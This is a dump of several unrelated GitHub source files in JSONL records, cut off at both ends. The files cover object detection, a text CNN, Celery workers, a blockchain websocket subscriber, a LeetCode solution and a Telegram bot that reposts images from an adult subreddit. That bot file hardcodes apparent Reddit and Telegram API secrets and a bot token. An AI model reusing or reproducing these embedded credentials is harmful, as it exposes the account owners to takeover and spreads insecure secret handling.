classification/detection\")\nap.add_argument(\"-f\",\"--filter\", type=str, default=None, help=\"Comma separated list of ImageNet labels to filter on\")\nargs = vars(ap.parse_args())\npath, filename = os.path.split(args[\"image\"])\n\nlabel_filters = args[\"filter\"]\nif label_filters is not None:\n label_filters = label_filters.lower().split(',')\n\n# Loading the model and the image\nmodel = ResNet50(weights=\"imagenet\")\nprint(\"Model_loaded\")\nimage = cv2.imread(args[\"image\"])\n(H,W) = image.shape[:2]\n\n# Applying selective search on the image\nrects = get_selective_search(image, method=args[\"method\"])\nproposals, boxes = [], []\n\nfor (x,y,w,h) in rects:\n # Any region having having height or width less than 10% are considered as small regions and ignored\n if w/float(W) < 0.1 or x/float(H) < 0.1:\n continue\n \n roi = cv2.cvtColor(image[y:y+h, x:x+w], cv2.COLOR_BGR2RGB)\n roi = cv2.resize(roi,(224,224))\n proposals.append(preprocess_input(img_to_array(roi)))\n boxes.append((x,y,w,h))\n\nproposals = np.array(proposals)\npreds = model.predict(proposals)\nprint(\"{} region of interests\".format(len(preds)))\npreds = imagenet_utils.decode_predictions(preds, top=1)\nlabels = {}\n\nfor (i,p) in enumerate(preds):\n (imagenet_ID, label, prob) = p[0]\n\n if label_filters is not None and label not in label_filters:\n continue\n\n if prob >= args[\"min_conf\"]:\n (x,y,w,h) = boxes [i]\n box = (x,y,x+w,y+h)\n L = labels.get(label, [])\n L.append((box, prob))\n labels[label] = L\n\n\nfor label in labels.keys():\n print(\"Results for '{}'\".format(label))\n clone = image.copy()\n for (box, prob) in labels[label]:\n (x1, y1, x2, y2) = box\n cv2.rectangle(clone, (x1, y1), (x2, y2),(0, 255, 0), 2)\n\n cv2.imshow(\"Before_NMS\", clone)\n clone = image.copy()\n boxes, proba = np.array([p[0] for p in labels[label]]), np.array([p[1] for p in labels[label]])\n boxes = non_max_suppression(boxes, proba)\n for (x1, y1, x2, y2) in boxes:\n cv2.rectangle(clone, (x1, y1), (x2, y2),(0, 255, 0), 2)\n y = y1-10 if y1-10 > 10 else y1 + 10\n cv2.putText(clone, label, (x1, y), cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 255, 0), 2)\n \n cv2.imshow(\"After_NMS\", clone)\n cv2.imwrite((os.path.join(\"./Output_images\", filename)), clone)\n cv2.waitKey(0)\n\n","repo_name":"ssurananitish/Region-Proposal-Object-Detection-Keras","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18024976050","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass CNN_Text(nn.Module):\n\n def __init__(self, kernel_num, kernel_sizes, class_num, embed_dim, label,dropout):\n super(CNN_Text, self).__init__()\n\n Ci = 1\n self.label = label\n self.class_num = class_num\n # self.embed = nn.Embedding(V, D)\n self.convs = nn.ModuleList([nn.Conv2d(Ci, kernel_num, (K, embed_dim)) for K in kernel_sizes])\n self.dropout = nn.Dropout(dropout)\n self.fc1 = nn.Linear(len(kernel_sizes) * kernel_num * 2, class_num)\n\n\n def sen_attention_label(self,x, label):\n # x.size():(batch_size, len(kernel_sizes) * kernel_num) query\n # label:(num_class, len(kernel_sizes) * kernel_num) Xi\n ### 计算方式点积\n label = label.transpose(0, 1).cuda()\n # print('label.size():',label.size())\n m = torch.tanh(torch.mm(x, label)).cuda()\n exps = torch.exp(m).cuda()\n a = exps / torch.Tensor.reshape(torch.sum(exps, 1), [-1, 1]).cuda() ###算权重\n a_reshape = torch.Tensor.reshape(a, [self.class_num, -1]).cuda()\n # print('a_reshape',a_reshape.size())\n # label_attn_output = label_attn_output.transpose(0, 1)\n # print('label_attn_output.size():', label_attn_output.size())\n finalx = torch.mm(label, a_reshape).cuda()\n finalx = finalx.transpose(0, 1).cuda()\n # lstm_output = torch.sum(lstm_output, 1)\n # out = torch.cat((sen_attn_output, finalx), dim = 1) #横着拼 (batch_size, hidden_size*layer_size*2)\n out = torch.cat((x, finalx), dim=1).cuda()\n # lstm_output = torch.sum(lstm_output, 1)\n # output = torch.cat((lstm_output, out), dim = 1)\n return out\n\n\n def forward(self, x):\n # x = self.embed(x) # (N, W, D)\n x = x.unsqueeze(1) # (N, Ci, W, D)\n x = [F.relu(conv(x)).squeeze(3) for conv in self.convs] # [(N, Co, W), ...]*len(Ks)\n x = [F.max_pool1d(i, i.size(2)).squeeze(2) for i in x] # [(N, Co), ...]*len(Ks)\n x = torch.cat(x, 1)\n\n label = self.label.unsqueeze(1) # (N, Ci, W, D)\n label = [F.relu(conv(label)).squeeze(3) for conv in self.convs] # [(N, Co, W), ...]*len(Ks)\n label = [F.max_pool1d(i, i.size(2)).squeeze(2) for i in label] # [(N, Co), ...]*len(Ks)\n label = torch.cat(label, 1)\n\n x = self.sen_attention_label(x, label)\n\n x = self.dropout(x) # (N, len(Ks)*Co)\n logit = self.fc1(x) # (N, C)\n return logit\n","repo_name":"ceceliax/LIE","sub_path":"LIE2/model/attn_textCNN.py","file_name":"attn_textCNN.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18336090690","text":"import praw\nimport asyncio\nfrom pyrogram import Client, filters, idle\nfrom pyrogram.types import Message\nimport logging\nimport requests\nimport os\nfrom random import choice\nimport time\nfrom pyrogram.errors.exceptions.flood_420 import FloodWait \n\n# Reddit API credentials\nreddit_client_id = 'PwIeyGTeEHK6DQNAylKG2Q'\nreddit_client_secret = 'Lb511Fz1gVqcU2VTTHtWyUu2BanUtg'\nreddit_user_agent = 'rstream'\nreddit_subreddit = 'PornhubComments'\n\nreddit = praw.Reddit(\n client_id=reddit_client_id,\n client_secret=reddit_client_secret,\n user_agent=reddit_user_agent,\n username=\"stebin58\",\n redirect_uri=\"http://localhost:8080\"\n)\n\nlogging.basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n level=logging.INFO)\n\napp = Client(\"rbot\", bot_token=\"6203076674:AAE9wnjKJHYovzXby86MqOMSf-LQ9QQx7Ok\", api_id=6, api_hash=\"eb06d4abfb49dc3eeb1aeb98ae0f581e\")\n\nos.makedirs(\"images/\", exist_ok=True)\n\n\n\n\n#telegram_chat_id = ['-1001894132283']\n@app.on_message(filters.command(\"send\"))\nasync def send_posts_to_telegram(_, message):\n x = await message.reply(\"Starting...\") \n \n global stop_sending\n stop_sending = False\n \n # Retrieve posts from Reddit\n subreddit = reddit.subreddit(reddit_subreddit)\n posts = subreddit.new(limit=20000000000000000000000000000000000000000000000000) # Adjust the limit as needed\n \n for post in posts:\n if post.url.endswith((\".jpg\", \".jpeg\", \".png\", \".gif\")):\n # Download the image\n response = requests.get(post.url)\n if response.status_code == 200:\n file_path = f\"images/{post.id}.jpg\" # Save the image with the post ID as the filename\n with open(file_path, \"wb\") as f:\n f.write(response.content)\n \n # Send the image to Telegram channel\n try:\n #await x.edit(\"Waiting for 10 seconds...\")\n await asyncio.sleep(10)\n await app.send_photo(chat_id=message.chat.id, photo=file_path, caption=post.title)\n os.remove(file_path)\n except FloodWait as e:\n wait_time = e.x\n await message.reply(f\"Received FloodWait error. Waiting for {wait_time} seconds...\")\n time.sleep(wait_time)\n continue\n \n if stop_sending:\n break \n\n await message.reply(\"All posts sent as images.\")\n await x.delete()\n\n@app.on_message(filters.command(\"stop\"))\nasync def stop_sending_images(_, message):\n global stop_sending\n stop_sending = True\n y = await message.reply(\"Stopped. Bye!\")\n await y.delete()\n\n\napp.start()\nidle()\n","repo_name":"silverfruitplayer/rsb","sub_path":"rsb.py","file_name":"rsb.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19360098303","text":"'''\r\nGiven a string path, where path[i] = 'N', 'S', 'E' or 'W', each representing \r\nmoving one unit north, south, east, or west, respectively. You start at the \r\norigin (0, 0) on a 2D plane and walk on the path specified by path.\r\n\r\nReturn True if the path crosses itself at any point, that is, if at any time \r\nyou are on a location you've previously visited. Return False otherwise.\r\n\r\nInput: path = \"NES\"\r\nOutput: false \r\nExplanation: Notice that the path doesn't cross any point more than once.\r\n\r\nInput: path = \"NESWW\"\r\nOutput: true\r\nExplanation: Notice that the path visits the origin twice.\r\n\r\n'''\r\n\r\ndef PathCrossing(path):\r\n x, y = 0, 0\r\n seen = {(x, y)}\r\n for move in path: \r\n if move == \"N\": y += 1\r\n elif move == \"S\": y -= 1\r\n elif move == \"E\": x += 1\r\n else: x -= 1\r\n if (x, y) in seen: return True\r\n seen.add((x, y))\r\n return False \r\n\r\nprint(PathCrossing('NESWW'))","repo_name":"newbieeashish/LeetCode_Algo","sub_path":"2nd_35_questions/PathCrossing.py","file_name":"PathCrossing.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25576887370","text":"import os\nimport signal\nimport sys\nimport time\nfrom itertools import cycle\nfrom typing import Callable\n\nfrom celery import Celery\nfrom sqlalchemy import create_engine\n\nfrom logger import logger\nfrom perfrunner import celerylocal, celeryremote\nfrom perfrunner.helpers import local\nfrom perfrunner.helpers.remote import RemoteHelper\nfrom perfrunner.settings import (\n ClusterSpec,\n PhaseSettings,\n TargetIterator,\n TestConfig,\n)\nfrom perfrunner.workloads import spring_workload\nfrom perfrunner.workloads.jts import jts_run, jts_warmup\nfrom perfrunner.workloads.pillowfight import (\n pillowfight_data_load,\n pillowfight_workload,\n)\nfrom perfrunner.workloads.ycsb import ycsb_data_load, ycsb_workload\n\ncelery = Celery('workers')\nif '--remote' in sys.argv or '-C' in sys.argv:\n # -C flag is a hack to distinguish local and remote workers!\n celery.config_from_object(celeryremote)\nelse:\n celery.config_from_object(celerylocal)\n\n\n@celery.task\ndef spring_task(*args):\n spring_workload(*args)\n\n\n@celery.task\ndef pillowfight_data_load_task(*args):\n pillowfight_data_load(*args)\n\n\n@celery.task\ndef pillowfight_task(*args):\n pillowfight_workload(*args)\n\n\n@celery.task\ndef ycsb_data_load_task(*args):\n ycsb_data_load(*args)\n\n\n@celery.task\ndef ycsb_task(*args):\n ycsb_workload(*args)\n\n\n@celery.task\ndef jts_run_task(*args):\n jts_run(*args)\n\n\n@celery.task\ndef jts_warmup_task(*args):\n jts_warmup(*args)\n\n\nclass WorkerManager:\n\n def __new__(cls, *args, **kwargs):\n if '--remote' in sys.argv:\n return RemoteWorkerManager(*args, **kwargs)\n else:\n return LocalWorkerManager(*args, **kwargs)\n\n\nclass RemoteWorkerManager:\n\n WORKER_HOME = '/tmp/perfrunner'\n\n PING_INTERVAL = 1\n\n def __init__(self, cluster_spec: ClusterSpec, test_config: TestConfig,\n verbose: bool):\n self.cluster_spec = cluster_spec\n self.test_config = test_config\n self.remote = RemoteHelper(cluster_spec, verbose)\n\n self.workers = cycle(self.cluster_spec.workers)\n\n self.terminate()\n self.start()\n self.wait_until_workers_are_ready()\n\n @property\n def is_remote(self) -> bool:\n return True\n\n def next_worker(self) -> str:\n return next(self.workers)\n\n def reset_workers(self):\n self.workers = cycle(self.cluster_spec.workers)\n\n def start(self):\n logger.info('Initializing remote worker environment')\n self.remote.init_repo(self.WORKER_HOME)\n\n for worker in self.cluster_spec.workers:\n logger.info('Starting remote Celery worker, host={}'.format(worker))\n perfrunner_home = os.path.join(self.WORKER_HOME, 'perfrunner')\n self.remote.start_celery_worker(worker, perfrunner_home)\n\n def wait_until_workers_are_ready(self):\n workers = ['celery@{}'.format(worker)\n for worker in self.cluster_spec.workers]\n while True:\n responses = celery.control.ping(workers)\n if len(responses) == len(workers):\n break\n time.sleep(self.PING_INTERVAL)\n logger.info('All remote Celery workers are ready')\n\n def run_tasks(self,\n task: Callable,\n task_settings: PhaseSettings,\n target_iterator: TargetIterator,\n timer: int = None):\n if self.test_config.test_case.reset_workers:\n self.reset_workers()\n\n self.async_results = []\n for target in target_iterator:\n for instance in range(task_settings.workload_instances):\n worker = self.next_worker()\n logger.info('Running the task on {}'.format(worker))\n async_result = task.apply_async(\n args=(task_settings, target, timer, instance),\n queue=worker, expires=timer,\n )\n self.async_results.append(async_result)\n\n def wait_for_workers(self):\n logger.info('Waiting for all tasks to finish')\n for async_result in self.async_results:\n async_result.get()\n logger.info('All tasks are done')\n\n def download_celery_logs(self):\n if not os.path.exists('celery'):\n os.mkdir('celery')\n self.remote.get_celery_logs(self.WORKER_HOME)\n\n def abort(self):\n pass\n\n def terminate(self):\n logger.info('Terminating Celery workers')\n self.remote.terminate_client_processes()\n\n\nclass LocalWorkerManager(RemoteWorkerManager):\n\n BROKER_DB = 'perfrunner.db'\n RESULTS_DB = 'results.db'\n\n def __init__(self, cluster_spec: ClusterSpec, test_config: TestConfig,\n verbose: bool):\n self.cluster_spec = cluster_spec\n self.test_config = test_config\n\n self.terminate()\n self.tune_sqlite()\n self.start()\n self.wait_until_workers_are_ready()\n\n @property\n def is_remote(self) -> bool:\n return False\n\n def next_worker(self) -> str:\n return 'localhost'\n\n def tune_sqlite(self):\n for db in self.BROKER_DB, self.RESULTS_DB:\n engine = create_engine('sqlite:///{}'.format(db))\n engine.execute('PRAGMA synchronous=OFF;')\n\n def wait_until_workers_are_ready(self):\n engine = create_engine('sqlite:///{}'.format(self.BROKER_DB))\n query = 'SELECT COUNT(*) FROM kombu_queue WHERE name = \"{}\"'\\\n .format(self.next_worker())\n\n while True:\n if 'kombu_queue' not in engine.table_names():\n continue\n\n for count, in engine.execute(query):\n if count:\n logger.info('Local Celery worker is ready')\n return\n\n def start(self):\n logger.info('Starting local Celery worker')\n local.start_celery_worker(queue=self.next_worker())\n\n def download_celery_logs(self):\n pass\n\n @property\n def pid(self) -> int:\n with open('worker.pid') as f:\n pid = f.read()\n return int(pid)\n\n def abort(self):\n logger.info('Interrupting Celery workers')\n os.kill(self.pid, signal.SIGTERM)\n self.wait_for_workers()\n\n def terminate(self):\n logger.info('Terminating Celery workers')\n local.kill_process('celery')\n","repo_name":"girishmind/perfrunner-g","sub_path":"perfrunner/helpers/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":6290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30250872786","text":"import numpy as np\nimport cv2\nfrom sklearn import datasets\nimport matplotlib.pyplot as plt\nfrom image_util import *\nfrom contour_util import *\nfrom model.ObjectTracker import ObjectTracker\nfrom sklearn.metrics import mean_absolute_error\nimport pandas as pd\n\ndef get_video_title(order_number):\n if (order_number < 1 or order_number > 10):\n return None\n return \"video/video\" + str(order_number) + \".mp4\"\n\ndef cross_line(x,y, line):\n if x > line[0] and x < line[2] and y < line[1] and y > line[3]:\n return True\n return False\n\ndef print_MAE(my_results):\n raw_data = pd.read_csv('res.txt', header=0, names=['file', 'count'])\n res = raw_data['count'].tolist()\n # print(res)\n print('MAE: ', mean_absolute_error(res, my_results))\n\ndef get_line():\n cap = cv2.VideoCapture(get_video_title(5))\n cap.set(1, 0)\n ret_val, frame = cap.read()\n line = detect_areaCanny(frame)\n return line\n\ndef k_and_n(line):\n k = (line[1] - line[3])/(line[0] - line[2])\n n = line[1] - k* line[0]\n\n return k, n\n\nif __name__ == '__main__':\n\n my_results = []\n\n line = get_line()\n # 188, 110, 470, 90\n\n line[1] += 120\n line[3] += 120\n k, n = k_and_n(line)\n\n x1, y1, x2, y2 = line\n\n\n\n n = n + 50\n\n for i in range(1,11):\n # ucitavanje videa\n frame_num = 0 # frejm, tj broj frejma koji se obradjuje\n counter = 0 # brojac pesaka\n tracker = ObjectTracker()\n cap = cv2.VideoCapture(get_video_title(i))\n cap.set(1, frame_num) # indeksiranje frejmova\n\n #izlazni video\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n #video = cv2.VideoWriter('output'+ str(i) + '.avi', fourcc, 25, (640,480))\n\n first_img = None\n fift_img = None\n while True:\n frame_num += 1\n ret_val, frame = cap.read()\n # if not frame_num%3 == 0:\n # continue\n retVal = frame\n if not ret_val:\n break\n prev = frame\n if(frame_num == 1):\n first_img = frame\n # linija: y: 150, x1: 180, x2: 480\n cv2.line(frame, (x1, y1), (x2, y2), (0, 255, 0), 2)\n #display_image(frame)\n #detected = detect_areaCanny(frame)\n #print(detected)\n\n with_contoures, contoures = detect_contoursBrownColor(frame)\n centers = []\n for cont in contoures:\n center = find_contour_centeroid(cont)\n centers.append(list(center))\n if (cross_line(center[0], center[1], line)):\n counter += 1\n with_contoures = cv2.circle(with_contoures, (center[0], center[1]), radius=2, color=(0, 0, 255), thickness=2)\n #print(centers)\n tracker.update(tuple(centers))\n cv2.line(with_contoures, (x1, y1), (x2, y2), (0, 255, 0), 2)\n #video.write(with_contoures)\n\n ret_val, frame = cap.read()\n\n\n curr = frame\n\n\n brojac = 2\n\n for el in tracker.objects.values():\n if(el.counter > 25):\n brojac += 1\n\n for el in tracker.deregistered.values():\n if(el.counter > 25):\n brojac += 1\n\n #my_results.append(len(tracker.objects) + 2)\n my_results.append(brojac)\n\n print(brojac)\n #print(counter)\n\n cv2.destroyAllWindows()\n #video.release()\n\n\n print_MAE(my_results)\n\n","repo_name":"ZoricBojana/SoftProjekat","sub_path":"Projekat/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8778673960","text":"import asyncio\nimport json\nimport logging\nimport traceback\nfrom asyncio import Event\n\nimport websockets\nfrom jsonrpcclient.request import Request\nfrom jsonrpcserver import config\nfrom jsonrpcserver.aio import AsyncMethods\n\nfrom loopchain import configure as conf\nfrom loopchain import utils\nfrom loopchain.baseservice import ObjectManager, TimerService, Timer\nfrom loopchain.blockchain import BlockSerializer, BlockVerifier, AnnounceNewBlockError\nfrom loopchain.channel.channel_property import ChannelProperty\nfrom loopchain.protos import message_code\n\nconfig.log_requests = False\nconfig.log_responses = False\nws_methods = AsyncMethods()\nCONNECTION_FAIL_CONDITIONS = {message_code.Response.fail_subscribe_limit,\n message_code.Response.fail_connection_closed}\n\n\nclass NodeSubscriber:\n def __init__(self, channel, rs_target):\n self._target_uri = f\"{'wss' if conf.SUBSCRIBE_USE_HTTPS else 'ws'}://{rs_target}/api/ws/{channel}\"\n self._exception = None\n self._websocket = None\n self._subscribe_event: Event = None\n\n ws_methods.add(self.node_ws_PublishHeartbeat)\n ws_methods.add(self.node_ws_PublishNewBlock)\n\n logging.debug(f\"websocket target uri : {self._target_uri}\")\n\n def __del__(self):\n if self._websocket is not None:\n utils.logger.warning(f\"Have to close before delete NodeSubscriber instance({self})\")\n\n async def close(self):\n if self._websocket is not None:\n websocket = self._websocket\n self._websocket = None\n await websocket.close()\n\n async def subscribe(self, block_height, event: Event):\n self._exception = None\n self._subscribe_event = event\n\n try:\n # set websocket payload maxsize to 4MB.\n self._websocket = await websockets.connect(self._target_uri, max_size=4 * conf.MAX_TX_SIZE_IN_BLOCK)\n logging.debug(f\"Websocket connection is Completed.\")\n request = Request(\"node_ws_Subscribe\", height=block_height, peer_id=ChannelProperty().peer_id)\n await self._websocket.send(json.dumps(request))\n await self._subscribe_loop(self._websocket)\n except AnnounceNewBlockError:\n raise\n except Exception as e:\n traceback.print_exc()\n logging.error(f\"websocket subscribe exception, caused by: {type(e)}, {e}\")\n raise ConnectionError\n finally:\n await self.close()\n\n async def _subscribe_loop(self, websocket):\n while True:\n if self._exception:\n raise self._exception\n\n try:\n response = await asyncio.wait_for(websocket.recv(), timeout=2 * conf.TIMEOUT_FOR_WS_HEARTBEAT)\n except asyncio.TimeoutError:\n continue\n else:\n response_dict = json.loads(response)\n await ws_methods.dispatch(response_dict)\n\n async def node_ws_PublishNewBlock(self, **kwargs):\n if 'error' in kwargs:\n if kwargs.get('code') in CONNECTION_FAIL_CONDITIONS:\n self._exception = ConnectionError(kwargs['error'])\n return\n else:\n return ObjectManager().channel_service.shutdown_peer(message=kwargs.get('error'))\n\n block_dict, confirm_info_str = kwargs.get('block'), kwargs.get('confirm_info')\n confirm_info = confirm_info_str.encode(\"utf-8\") if confirm_info_str else None\n blockchain = ObjectManager().channel_service.block_manager.get_blockchain()\n\n new_block_height = blockchain.block_versioner.get_height(block_dict)\n if new_block_height > blockchain.block_height:\n block_version = blockchain.block_versioner.get_version(new_block_height)\n block_serializer = BlockSerializer.new(block_version, blockchain.tx_versioner)\n confirmed_block = block_serializer.deserialize(block_dict)\n\n block_verifier = BlockVerifier.new(block_version, blockchain.tx_versioner)\n block_verifier.invoke_func = ObjectManager().channel_service.score_invoke\n reps = ObjectManager().channel_service.get_rep_ids()\n try:\n block_verifier.verify(confirmed_block,\n blockchain.last_block,\n blockchain,\n blockchain.last_block.header.next_leader,\n reps=reps)\n except Exception as e:\n self._exception = AnnounceNewBlockError(f\"error: {type(e)}, message: {str(e)}\")\n else:\n logging.debug(f\"add_confirmed_block height({confirmed_block.header.height}), \"\n f\"hash({confirmed_block.header.hash.hex()}), confirm_info({confirm_info})\")\n ObjectManager().channel_service.block_manager.add_confirmed_block(confirmed_block=confirmed_block,\n confirm_info=confirm_info)\n\n async def node_ws_PublishHeartbeat(self, **kwargs):\n def _callback(exception):\n self._exception = exception\n\n if 'error' in kwargs:\n _callback(ConnectionError(kwargs['error']))\n return\n\n if not self._subscribe_event.is_set():\n self._subscribe_event.set()\n\n timer_key = TimerService.TIMER_KEY_WS_HEARTBEAT\n timer_service = ObjectManager().channel_service.timer_service\n if timer_key in timer_service.timer_list:\n timer_service.reset_timer(timer_key)\n else:\n timer = Timer(\n target=timer_key,\n duration=3 * conf.TIMEOUT_FOR_WS_HEARTBEAT,\n callback=_callback,\n callback_kwargs={'exception': ConnectionError(\"No Heartbeat.\")}\n )\n timer_service.add_timer(timer_key, timer)\n","repo_name":"wilberdell/loopchain","sub_path":"loopchain/baseservice/node_subscriber.py","file_name":"node_subscriber.py","file_ext":"py","file_size_in_byte":5924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23568008941","text":"import math\r\ndef call(a,b):\r\n c=math.log(2*b,2)\r\n c=int(c)\r\n ma=0\r\n mi=0\r\n count=0\r\n flag=0\r\n for i in range(1,c+1,1):\r\n ma=(a//pow(2,i))\r\n mi=(a//pow(2,i-1)-a//pow(2,i)-1)\r\n if ma==mi:\r\n count+=pow(2,i-1)\r\n flag=pow(2,i-1)\r\n if count>0: \r\n if(int(math.log(b,2))==int(math.log(flag,2))):\r\n count-=flag\r\n if(b<=(pow(2,c-1)+count) or b==pow(2,c-1)):\r\n return int(ma),int(mi)\r\n else:\r\n if ma>mi:\r\n return int(ma)-1,int(mi)\r\n else:\r\n return int(ma),int(mi)-1\r\n \r\n \r\nn=int(input())\r\nfor k in range(n):\r\n x,y=input().split(' ')\r\n x,y=[int(x),int(y)]\r\n z,w=call(x,y)\r\n print('Case #'+str(k+1)+': '+str(z)+' '+str(w))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/1660.py","file_name":"1660.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"ar","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20869102291","text":"invoer = \"5-9-7-1-7-8-3-2-4-8-7-9\"\ninvoer = invoer.split(sep='-')\n\n# string tabel naar int tabel\n\nlst = []\n\nfor i in invoer:\n x = int(i)\n lst.append(x)\n\nlst = sorted(lst)\n\n# sorteer lijst\n\nprint('De gesorteerde list is: {}'.format(lst))\n\n# Min en Max\n\nminimun = min(lst)\nmaximun = max(lst)\n\nprint('Het Grootste getal: {} en Kleinste getal: {}'.format(maximun,minimun))\n\n# Aantal en de som\n\naantal = 0\nfor i in lst:\n aantal += 1\n\nsom = sum(lst)\n\nprint('Aantal getaalen: {} en Som van de getallen: {}'.format(aantal,som))\n\n# Gemiddelde\n\ngem = som / aantal\n\nprint('Gemiddelde: {}'.format(gem))\n","repo_name":"Lithrun/HU-jaar-1","sub_path":"Python/Practice/Les 5/5.3.py","file_name":"5.3.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38955876872","text":"#!/usr/bin/python3\ndef uniq_add(my_list=[]):\n # Create a set to store unique integers\n unique_int = set()\n # Iterate through the elements in the input list\n for x in my_list:\n # Add the x to the set(sets automatically handle duplicates)\n unique_int.add(x)\n # Calculate the sum of the unique integers\n sum_uniq = sum(unique_int)\n return sum_uniq\n","repo_name":"pkirugu89/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/2-uniq_add.py","file_name":"2-uniq_add.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25692213044","text":"import math\nimport random\nimport secrets\n\nHIDDEN_NEURONS_AMOUNT = 10\nINPUT_NEURON_AMOUNT = 5\nWEIGHT_LIMIT = 3\n\n\ndef _sign(number):\n if number < 0:\n return -1\n elif number == 0:\n return 0\n else:\n return 1\n\n\ndef init_vector(input_neurons, hidden_neurons):\n vector = []\n for i in range(hidden_neurons):\n vector.append([])\n for j in range(input_neurons):\n while True:\n vector_value = secrets.randbelow(3) - 1\n if vector_value != 0:\n vector[i].append(vector_value)\n break\n return vector\n\n\nclass CryptoNetwork:\n\n def __init__(self, input_neurons_length, hidden_neurons_length, weight_bound):\n self.input_neurons_length = input_neurons_length\n self.hidden_neurons_length = hidden_neurons_length\n self.weight_bound = weight_bound\n self.weights = self._init_weights()\n self.inputs = []\n self.hidden_neurons_results = []\n self.net_result = 0\n\n def perform(self):\n hidden_neurons_results = []\n input_results = self._multiply_input_by_weights()\n\n for i in range(self.hidden_neurons_length):\n hidden_neurons_results.append(_sign(sum(input_results[i])))\n if hidden_neurons_results[i] == 0:\n hidden_neurons_results[i] = 1\n\n net_result = math.prod(hidden_neurons_results)\n\n self.hidden_neurons_results = hidden_neurons_results\n self.net_result = net_result\n\n return net_result\n\n def learn(self):\n for i in range(self.hidden_neurons_length):\n if self.hidden_neurons_results[i] == self.net_result:\n for j in range(self.input_neurons_length):\n self.weights[i][j] = self._tetta(self.weights[i][j] + (self.inputs[i][j] * self.net_result))\n\n def _multiply_input_by_weights(self):\n input_results = []\n\n if len(self.inputs) * len(self.inputs[0]) == len(self.weights) * len(self.weights[0]):\n for i in range(self.hidden_neurons_length):\n input_results.append([])\n for j in range(self.input_neurons_length):\n input_results[i].append(self.inputs[i][j] * self.weights[i][j])\n else:\n print(\"oh my, number of inputs of given Vector isn't equal a number of given weights\")\n exit(1)\n\n return input_results\n\n def _init_weights(self):\n self.weights = []\n\n for i in range(self.hidden_neurons_length):\n self.weights.append([])\n for j in range(self.input_neurons_length):\n self.weights[i].append(random.randint(-self.weight_bound, self.weight_bound))\n\n return self.weights\n\n def _tetta(self, number):\n if -self.weight_bound < number < self.weight_bound:\n return number\n else:\n return _sign(number) * self.weight_bound\n","repo_name":"Alexsandrggwp/PyChat","sub_path":"neuralNet/nerualNet.py","file_name":"nerualNet.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13891546196","text":"\nfrom flask import Blueprint, request, jsonify\nfrom aum.helpers import token_required\nfrom aum.models import db,User,Sequence,sequence_schema,sequences_schema\n\napi = Blueprint('api',__name__, url_prefix = '/api')\n\n@api.route('/getdata', methods = ['GET'])\n# @token_required\n\ndef get_data(current_user_token):\n return {'some' : 'value'}\n\n#create\n@api.route('/sequences', methods = ['POST'])\n@token_required\ndef create_sequence(current_user_token):\n warmups = request.json['warmups']\n warriors = request.json['warriors']\n balance = request.json['balance']\n cooldown = request.json['cooldown']\n user_token = current_user_token.token\n\n sequence = Sequence(warmups,warriors,balance,cooldown, user_token)\n db.session.add(sequence)\n db.session.commit()\n\n response = sequence_schema.dump(sequence)\n return jsonify(response)\n\n#retrieve all\n@api.route('/sequences', methods = ['GET'])\n@token_required\ndef get_sequences(current_user_token):\n owner = current_user_token.token\n sequences = Sequence.query.filter_by(user_token = owner).all()\n response = sequences_schema.dump(sequences)\n return jsonify(response)\n\n#retrieve one \n@api.route('/sequences/<id>',methods = ['GET'])\n@token_required\ndef get_sequence(current_user_token,id):\n owner = current_user_token.token\n if owner == current_user_token.token:\n sequence = Sequence.query.get(id)\n response = sequence_schema.dump(sequence)\n return jsonify(response)\n else:\n return jsonify({'message': 'Valid Token Required'}),401\n\n#update\n@api.route('/sequences/<id>', methods = ['POST','PUT'])\n@token_required\ndef update_sequence(current_user_token, id):\n sequence = Sequence.query.get(id)\n\n sequence.warmups = request.json['warmups']\n sequence.warriors = request.json['warriors']\n sequence.balance = request.json['balance']\n sequence.cooldown = request.json['cooldown']\n sequence.user_token = current_user_token.token\n\n db.session.commit()\n response = sequence_schema.dump(sequence)\n return jsonify(response)\n\n#delete\n@api.route('/sequences/<id>', methods = ['DELETE'])\n@token_required\ndef delete_sequence(current_user_token, id):\n sequence = Sequence.query.get(id)\n db.session.delete(sequence)\n db.session.commit()\n\n response = sequence_schema.dump(sequence)\n return jsonify(response)\n\n\n\n\n\n\n\n\n ","repo_name":"mpaola0610/yoga_api","sub_path":"aum/api/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"653160553","text":"import sys\nlines = []\ndata=''\nfor line in sys.stdin:\n line = line.replace('\\n', '')\n lines.append(line)\n data=lines[0]\n\ndef part_one():\n return 